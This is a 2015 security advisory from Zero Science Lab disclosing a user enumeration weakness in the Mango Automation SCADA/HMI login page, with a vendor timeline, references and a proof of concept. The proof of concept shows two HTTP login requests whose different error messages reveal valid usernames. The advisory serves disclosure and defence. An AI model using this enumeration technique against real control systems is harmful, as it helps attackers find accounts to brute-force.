Mango Automation 2.6.0 User Enumeration Weakness

2015-09-26T00:00:00
ID ZSL-2015-5256
Type zeroscience
Reporter Gjoko Krstic
Modified 2015-09-26T00:00:00

Description

Title: Mango Automation 2.6.0 User Enumeration Weakness
Advisory ID: ZSL-2015-5256
Type: Local/Remote
Impact: Exposure of sensitive information
Risk: (1/5)
Release Date: 26.09.2015

Summary

Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source.

Description

The weakness is caused due to the 'login.htm' script and how it verifies provided credentials. Attacker can use this weakness to enumerate valid users on the affected node.

Vendor

Infinite Automation Systems Inc. - <http://www.infiniteautomation.com>

Affected Version

2.5.2 and 2.6.0 beta (build 327)

Tested On

Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)

Vendor Status

[20.08.2015] Vulnerability discovered.
[25.08.2015] Vendor contacted.
[25.08.2015] Vendor responds giving support e-mail to send details to.
[25.08.2015] Details sent to the support contact.
[27.08.2015] Asked vendor for status update.
[12.09.2015] No reply from the vendor.
[13.09.2015] Asked vendor for status update.
[25.09.2015] No reply from the vendor.
[26.09.2015] Public security advisory released.
[20.10.2015] Vendor releases version 2.6.0 build 430 to address these issues.

PoC

mango_userenum.txt

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <https://www.exploit-db.com/exploits/38338/>
[2] <https://packetstormsecurity.com/files/133726>
[3] <https://cxsecurity.com/issue/WLB-2015090185>
[4] <https://exchange.xforce.ibmcloud.com/vulnerabilities/106937>
[5] <http://infiniteautomation.com/forum/topic/1995/mango-security-testing>
[6] <http://infiniteautomation.com/index.php/what-s-new/entry/what-s-new-in-mango-automation-2-6-0-released-october-20th-2016>
[7] <http://infiniteautomation.com/forum/topic/1997/mango-automation-2-6-released>
[8] <https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02A>
[9] <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7902>
[10] <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7902>
[11] <http://www.cnnvd.org.cn/vulnerability/show/cv_id/2015100682>
[12] <https://www.auscert.org.au/render.html?it=27342>

Changelog

[26.09.2015] - Initial release
[07.10.2015] - Added reference [1], [2], [3] and [4]
[21.10.2015] - Added vendor status and reference [5], [6] and [7]
[29.10.2015] - Added reference [8], [9], [10], [11] and [12]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            
Mango Automation 2.6.0 User Enumeration Weakness


Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com
Affected version: 2.5.2 and 2.6.0 beta (build 327)

Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.

Desc: The weakness is caused due to the 'login.htm' script
and how it verifies provided credentials. Attacker can
use this weakness to enumerate valid users on the affected
node.

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Jetty(9.2.2.v20140723)
           Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
           Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5256
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5256.php


20.08.2015

--


Request for non-existent username:
----------------------------------

POST /login.htm HTTP/1.1
Host: localhost:8080
Content-Length: 29
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/login.htm;jsessionid=6zpfpnxljyzf13l3zrpx9e0xd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: MANGO8080=6zpfpnxljyzf13l3zrpx9e0xd

username=noob&password=123123


Response:

 - &lt;td class="formError"&gt;User id not found&lt;/td&gt;


Request for existent username:
------------------------------

POST /login.htm HTTP/1.1
Host: localhost:8080
Content-Length: 32
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost:8080/login.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: MANGO8080=6zpfpnxljyzf13l3zrpx9e0xd

username=admin&password=123123


Response:

 - &lt;td colspan="3" class="formError"&gt;Invalid login&lt;br/&gt;